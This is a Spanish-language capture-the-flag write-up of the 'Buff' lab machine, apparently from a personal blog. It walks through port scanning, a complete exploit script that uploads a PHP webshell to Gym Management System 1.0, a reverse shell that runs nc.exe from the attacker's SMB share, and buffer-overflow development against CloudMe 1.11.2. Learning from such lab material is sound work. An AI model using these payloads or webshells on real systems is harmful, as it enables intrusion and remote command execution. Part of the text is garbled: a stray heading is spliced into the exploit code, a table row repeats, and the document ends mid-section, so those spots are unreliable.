Buff
Es una máquina muy simple, pero vamos a analizar en profundidad un Buffer Overflow de CloudMe 1.11.2 y un 'Unauthenticated Remote Code Execution' en 'Gym Management System 1.0'
March 18, 202421 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 10.10.10.198
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=1 ttl=127 time=304 ms
--- 10.10.10.198 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 303.579/303.579/303.579/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.198 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.198
5 │ [*] Open ports: 8080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
nmap -sCV -p8080 10.10.10.198 -Pn -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 12:58 CET
Nmap scan report for 10.10.10.198
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 8080
Nmap ha reportado que el puerto 8080 está abierto con una web hecha en Apache 2.4.42.
Al entrar vemos una web simple sobre un gimnasio, si vamos al apartado de contacto vemos el siguiente mensaje.
Made using Gym Management Software 1.0
Intrusión
Con una búsqueda en exploit-db vemos que es vulnerable a un RCE sin necesidad de estar autenticados
> searchsploit gym
-------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored) | php/webapps/51777.txt
WordPress Plugin WPGYM - SQL Injection | php/webapps/42801.txt
-------------------------------------------------------------------- ---------------------------------
Lo copiamos al directorio actual de trabajo
> searchsploit -m php/webapps/48506.py
Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/48506
Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
cp: overwrite '/home/d3b0o/Desktop/buff/48506.py'? y
Copied to: /home/d3b0o/Desktop/buff/48506.py
Este sería el exploit:
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALLomo instalar mona.py en Immunity Debugger
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
Básicamente, lo que hace es subir un archivo el cual lo llama kaio-ken.php.png
en el /upload.php. Dentro del archivo le mete los magic bytes de PNG para que se piense que el contenido es un png (x89\x50\x4e\x47\x0d\x0a\x1a). A continuación hay un ejemplo de como usar esta técnica para hacer que un script de php se piense que es un GIF
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "Test"
3 │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
> file test.php
test.php: PHP script, ASCII text
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ GIF8;
2 │ <?php
3 │ echo "Test"
4 │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
> file test.php
test.php: GIF image data 16188 x 26736
Para que se entienda mejor vamos a cambiar los magic bytes del script a los de GIF8;, aunque tal y como viene por default ya funciona
PNG_magicBytes = 'GIF8;'
Por último ejecutamos el script
> python2 48506.py http://10.10.10.198:8080/
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
/\omo instalar mona.py en Immunity Debugger
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
F8;>
Ahora ya tenemos una shell que en verdad no es una shell, me explico, simplemente hemos subido un script en php que ejecuta todo lo que le pasamos por el parámetro telepathy
> curl "http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami"
GIF8;
buff\shaun
Qué código tiene kamehameha.php que nos permite ejecutar comandos?
El archivo kamehameha.php tiene el siguiente código
<?php echo shell_exec($_GET["telepathy"]); ?>
Lo que hace básicamente es pasarle a la función shell_exec todo lo que recibe por GET por el parámetro telepathy.
La función shell_exec lo que hace es ejecutar comandos en el sistema, pero no muestra el output, para hacer que muestre el output hay que poner el echo delante
Sin echo
d3bo~> cat test.php
1 <?php shell_exec("whoami") ?>
d3bo~> php test.php
Con echo
d3bo~> cat test.php
1 <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo
Si shell_exec no funcionara o está bloqueado, se pueden usar otras funciones, a continuación os dejo unos ejemplos
system()
d3bo~> cat test.php
1 <?php system("whoami") ?>
d3bo~> php test.php
d3bo
passthru()
d3bo~> cat test.php
1 <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo
exec()
d3bo~> cat test.php
1 <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo
popen()
d3bo~> cat test.php
1 <?php
2 $handle = popen('whoami', 'r');
3 $read = fread($handle, 2096);
4 pclose($handle);
5 echo $read;
6 ?>
7
d3bo~> php test.php
d3bo
Vamos a usar este RCE para mandarnos una Reverse Shell en condiciones.
Para ello primero buscamos un nc.exe que normalmente en kali ya viene instalado, después nos lo movemos al directorio actual y abrimos un servidor con samba para poder ejecutarlo desde la otra máquina
> locate nc.exe
/home/d3b0o/Desktop/buff/nc.exe
/opt/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
> cp /usr/share/windows-resources/binaries/nc.exe .
> impacket-smbserver smb $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Nos ponemos en escucha por el puerto 443
rlwrap nc -nlvp 443
Por último aprovechándonos del RCE vamos a ejecutar el siguiente comando
//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443
curl -s -G "http://10.10.10.198:8080/upload/kamehameha.php" --data-urlencode "telepathy=//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443"
¡Recibimos la reverse shell !!!
Analizando la vulnerabilidad
¿Porque conseguimos ejecutar comandos? Que está mal en el código del upload.php?
Dentro de los exploits de exploidb suele haber un enlace para descargar la aplicación vulnerable, en este caso el enlace es https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
Desde ahí, nos descargamos el código. Una vez descargado y descomprimido podemos ver el contenido del archivo upload.php que es el que hemos usado para subir un archivo php malicioso
<?php
include_once 'include/db_connect.php';
include_once 'include/functions.php';
$user = $_GET['id'];
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));
if(isset($_POST['pupload'])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
unlink("upload/" . $_FILES["file"]["name"]);
}
else
{
$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;
$query="update members set pic=1, picName='$url' where id='$user'";
if($upl=$mysqli->query($query)){
header("location: profile/i.php");
}
}
}
}
else
header("location: /profile/i.php");
}
?>
Al principio del script se declaran unas variables:
- user, que equivale a lo que le pasamos por get, por el parámetro id,
- allowedExts, esta variable es una array con todas las extensiones permitidas (jpg,png,gif…)
- extensión, guarda la extensión del archivo de la siguiente forma
$extension = @end(explode(".", $_FILES["file"]["name"]));
Está haciendo uso de la función explode para separar el nombre en distintas partes separadas por “.”
d3bo> cat test.php
1 <?php
2 $test = explode(".", "test.php.png" );
3 print_r($test)
4 ?>
d3bo> php test.php
Array
(
[0] => test
[1] => php
[2] => png
)
Además añade @end
para que solo muestre el último
d3bo> cat test.php
1 <?php
2 $test = @end(explode(".", "test.php.png" ));
3 echo $test
4 ?>
d3bo> php test.php
png
Con esto consigue sacar la extensión del archivo.
El código sigue con lo siguiente
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
Aquí está haciendo 3 comprobaciones
- Content-Type: Primero comprueba si el content type es
image/gif
oimage/jpeg
oimage/JPG
oimage/png
oimage/pjpeg
- Tamaño: También comprueba que el archivo sea más pequeño que 20,000,000,000,000 bytes
- Extensión: Por último comprueba que la extensión del archivo este en la array allowedExts
Si pasa todas estas validaciones pasa al la siguiente sección
$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;
Aquí es donde empieza la vulnerabilidad
Vuelve a dividir el nombre en una array con la función explode usando de separador el “.” y guarda en la variable ext la posición 1 de la array. Después sube el archivo con el nombre del usuario que pasamos por GET y la extensión.
El problema es que no se está calculando bien la extensión, ya que si probamos de poner 2 extensiones, se queda con la primera
d3bo> cat test2.php
1 <?php
2 $pic="shell.php.png";
3 $conv=explode(".",$pic);
4 $ext=$conv['1'];
5 echo $ext
6 ?>
d3bo> php test2.php
php
El nombre shell.php.png pasaría todas las validaciones porque es un png, pero cuando se suba lo guardará con el nombre del usuario y la extensión php, ya que coge la 1 posición de la array en vez de la última
Para que no pasara esto se tendría que usar ‘@end’ como se hacía al principio del código
d3bo> cat test2.php
1 <?php
2 $pic="shell.php.png";
3 $conv=explode(".",$pic);
4 $ext=@end($conv);
5 echo $ext
6 ?>
d3bo> php test2.php
png
Podemos probar todo esto creando nuestro propio script
> cat exploit.py
1 │ import requests
2 │
3 │ def subir_archivo(s):
4 │ url = 'http://10.10.10.198:8080/upload.php?id=user2'
5 │ contenido_archivo = 'GIF8;\n <?php system("whoami") ?>'
6 │ archivo = {'file': ('shell.php.gif', contenido_archivo, 'image/gif')}
7 │ fdata = {'pupload': 'upload'}
8 │ try:
9 │ respuesta = s.post(url, files=archivo, data=fdata)
10 │ except Exception as e:
11 │ print("Error al realizar la solicitud:", e)
12 │
13 │ s = requests.Session()
14 │ subir_archivo(s)
15 │ r = s.get("http://10.10.10.198:8080/upload/user2.php")
16 │ print(r.text)
> python3 exploit.py
GIF8;
buff\shaun
Escalada de privilegios
Dentro del directorio de Downloads
hay un archivo llamado CloudMe_1112.exe
C:\Users\shaun>tree /f
3D Objects
Contacts
Desktop
user.txt
Documents
Tasks.bat
Downloads
CloudMe_1112.exe
....
Con una búsqueda rápida por google se puede encontrar porque puerto funciona por defecto CloudMe (8888)
Con un netstat -a podemos ver que el puerto 8888 está abierto en local
C:\xampp\htdocs\gym\upload>netstat -a
netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 BUFF:0 LISTENING
TCP 0.0.0.0:445 BUFF:0 LISTENING
TCP 0.0.0.0:5040 BUFF:0 LISTENING
TCP 0.0.0.0:7680 BUFF:0 LISTENING
TCP 0.0.0.0:8080 BUFF:0 LISTENING
TCP 0.0.0.0:49664 BUFF:0 LISTENING
TCP 0.0.0.0:49665 BUFF:0 LISTENING
TCP 0.0.0.0:49666 BUFF:0 LISTENING
TCP 0.0.0.0:49667 BUFF:0 LISTENING
TCP 0.0.0.0:49668 BUFF:0 LISTENING
TCP 0.0.0.0:49669 BUFF:0 LISTENING
TCP 10.10.10.198:139 BUFF:0 LISTENING
TCP 10.10.10.198:8080 10.10.14.31:55448 ESTABLISHED
TCP 10.10.10.198:49771 10.10.14.31:https ESTABLISHED
TCP 127.0.0.1:3306 BUFF:0 LISTENING
TCP 127.0.0.1:8888 BUFF:0 LISTENING
Con un searchsploit encontramos que la versión del programa que había en la carpeta de ‘Downloads’ es vulnerable a un Buffer Overflow.
> searchsploit CloudMe 1.11.2
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
----------------------------------------------------------------------------- ---------------------------------
Podríamos usar el script de exploitdb, pero vamos a hacerlo manual.
Buffer Overflow
Primero de todo vamos a usar una máquina virtual con un windows 7 de 32 Bits, dentro del windows vamos a instalar CloudMe 1.11.2, Immunity Debuger y mona.py
- El Immunity Debuger lo vamos a usar para analizar el binario durante la ejecución.
- El CloudMe 1.11.2 va a estar ejecutándose en nuestra, máquina para poder analizarlo y simular ataques como si fuera la máquina víctima
- mona.py Mona.py es un script en python que funciona con Immunity Debuger, vamos a usarlo para automatizar distintos procesos durante la explotación del buffer overflow
Como instalar mona.py en Immunity Debugger
Descargamos el archivo de github
https://raw.githubusercontent.com/corelan/mona/master/mona.py
Y lo movemos a C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
Lo siguiente es ejecutar el CloudMe 1.11.2 para ello necesitamos crear una cuenta de CloudMe.
Portfordwarding
Si recordamos CloudMe funciona por el puerto 8888 en local así que no podemos ver este puerto desde el Kali, por lo que tenemos que hacer portforwarding, para ello usamos Chisel
En la máquina atacante nos descargamos Chisel y lo ejecutamos
sudo ./chisel server --reverse -p 1234
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos el puerto por el cual vamos a tener el servidor chisel |
server | Abre chisel en modo servidor |
–reverse | Permite a los clientes configurar reenvíos de puertos inversos |
En el windows vamos a descargar también Chisel y lo ejecutamos
chisel.exe client 192.168.1.145:1234 R:8888:127.0.0.1:8888
Explicación parámetros
Parámetro | Función |
---|---|
192.168.1.145:1234 | Especificamos la ip de la máquina atacante en la cual tenemos el chisel en modo server y el puerto en el cual tenemos chisel corriendo |
client | Abre chisel en modo cliente |
R:8888:127.0.0.1:8888 | Indicamos que el puerto 8888 de la máquina Windows se mapee al puerto 8888 de la máquina atacante. Lo que significa que ahora el puerto 8888 de la máquina atacante es el mismo que el 8888 de la máquina Windows |
Para comprobar que ha funcionado todo correcto podemos comprobar si el puerto 8888 se ha abierto en nuestro kali, de la siguiente forma:
ss -tnlp | grep 8888
LISTEN 0 4096 *:8888 *:*
Explicación parámetros
Parámetro | Función |
---|---|
ss | Se usa para mostrar información sobre los sockets de red, como conexiones TCP, UDP y estadísticas de socket |
-t | Muestra únicamente las conexiones TCP. |
-n | Muestra las direcciones y puertos numéricamente en lugar de resolver nombres. |
-l | Muestra solo las conexiones en estado de escucha (listening). |
-p | Muestra los procesos asociados con los sockets. |
grep | En este caso lo usamos para filtrar por la línea que contenga el puerto 8888 |
Calcular Offset
Empezamos mandando muchos caracteres para ver si la aplicación deja de funcionar
python2 -c 'print "A"*7000' | nc 127.0.0.1 8888
Ahora en el windows aparece el siguiente mensaje
Para saber por qué crashea vamos a abrirlo otra vez y hacer un attach (File>Attach>CloudMe) desde Immunity Debugger, y le damos al play
Repetimos el mismo proceso de mandar un input grande
python2 -c 'print "A"*7000' | nc 127.0.0.1 8888
Ahora desde immunity debugger podemos ver que hay registros como el EIP,ESP,EBP,… que tienen de valor 41, el 41 es el resultado del carácter ‘A’ en hexadecimal, esto significa que al poner una cadena más larga que el tamaño de buffer que tenía asignada la variable, se han sobreescrito registros de la memoria para poder guardar las ‘A’. El problema está en que por ejemplo si cambiamos el valor del EIP el programa no sabe por donde continuar, ya que el EIP “Instruction Pointer” (Puntero de Instrucción) contiene la dirección de la memoria de la próxima instrucción, si le ponemos una dirección que no existe como en este caso 41414141, simplemente deja de funcionar.
Vamos a ver cuantas A tenemos que poner para llegar hasta el EIP, para ello vamos a crear una cadena especialmente diseñada para esto
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 7000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A...
Explicación parámetros
Parámetro | Función |
---|---|
-l 7000 | Especificamos la cantidad de caracteres que va a tener la cadena |
Se lo mandamos a CloudMe
> nc 127.0.0.1 8888
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...
Obviamente, CloudMe se ha vuelto a petar, pero si observamos el EIP, vemos que ahora vale 316A4230.
Con el siguiente comando se calcula automáticamente el offset (La cantidad de ‘A’) para llegar al EIP
> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 7000 -q 316A4230
[*] Exact match at offset 1052
Explicación parámetros
Parámetro | Función |
---|---|
-l 7000 | Especificamos la cantidad de caracteres que tenía la cadena |
-q 316A4230 | Con -q ponemos los caracteres que salen en el EIP |
El comando nos dice que el offset es 1052.
Para comprobarlo mandaremos 1052 ‘A’ y 4 ‘B’, si el cálculo ha salido bien deberíamos ver desde immunity debugger que el eip vale 42424242 que es BBBB en hexadecimal
python2 -c 'print "A"*1052 + "B"*4' | nc 127.0.0.1 8888
Efectivamente, después de ejecutar esto el EIP pasa a valer 42424242 que es lo mismo que BBBB, esto sígnica que ya tenemos el control del EIP y por ende el control del flujo del programa.
Esto lo vamos a usar para modificar el EIP para que salte al ESP y dentro del ESP vamos a cargar unas instrucciones para ejecutar comandos.
Mandamos el mismo payload que antes, pero ahora con 2000 C que van a representar las intrucciones que pondremos más tarde.
python2 -c 'print "A"*1052 + "B"*4 + "C"*200' | nc 127.0.0.1 8888
Desde el Immunity Debugger vemos que el ESP comienza justo después del EIP.
Badchars
¿Qué es un badchar?
Un “badchar” es un carácter que, cuando se procesa, puede causar problemas porque el sistema no lo interpreta de la manera esperada.
¿Como podríamos comprobar si hay algún carácter que no se procesa bien?, pues mandando todos los tipos de caracteres y ver si dan errores.
Hasta ahora hemos estado mandando onelines de python, pero ahora vamos a hacer un script porque vamos a tener que añadir más cosas
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
payload = before_eip + eip
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
A este script le tenemos que añadir los caracteres que comprobaremos si son badchars. Para sacar la lista usaremos el programa badchars que lo podemos instalar con pip
> pip3 install badchars
> badchars -f python
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = before_eip + eip + badchars
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
Desde immunity debbuger podemos comprobar 1 a 1 si el carácter se muestra o no
Esto es un tostón, por eso antes hemos instalado mona.py, que como dije antes nos serviría para automatizar procesos
Empezamos con mona configurando el directorio de trabajo
!mona config -set workingfolder C:\Users\arnau\Desktop\bof
Seguimos creando una cadena de bytes para comprobar los badchars, pero excluimos el \x00 (Null byte) porque siempre da problemas
!mona bytearray -b "\x00"
Dentro de la carpeta que hemos configurado como “workingfolder” han aparecido dos archivos. Dentro del bytearray.txt tenemos la misma cadena de caracteres que hemos configurado antes, así que no nos va a hacer falta modificar el script. El archivo que vamos a usar es el bytearray.bin.
!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
Este comando lo que va a hacer es comprobar si los caracteres se muestran bien, o dan algún problema. Con el parámetro -a tenemos que especificar la dirección del ESP donde hemos puesto la cadena de bytes para comprobar los badchars. Después de ejecutarlo se abre la siguiente ventana, donde dice que no hay ningún badchar, lo que significa que todos se muestran y se procesan de forma exitosa.
Protecciones
Listamos todos los módulos para ver las protecciones que tienen
!mona modules
Tipos de protecciones
Nombre | Descripción |
---|---|
CANARY (Stack Canary) | Es una técnica de seguridad que se utiliza para detectar desbordamientos de búfer. Un “canario” es un valor colocado antes de la información sensible en la memoria y si este valor cambia, indica que la memoria ha sido alterada, lo que sugiere un intento de ataque. |
CANARY (Stack Canary) | Es una técnica de seguridad que se utiliza para detectar desbordamientos de búfer. Un “canario” es un valor colocado antes de la información sensible en la memoria y si este valor cambia, indica que la memoria ha sido alterada, lo que sugiere un intento de ataque. |
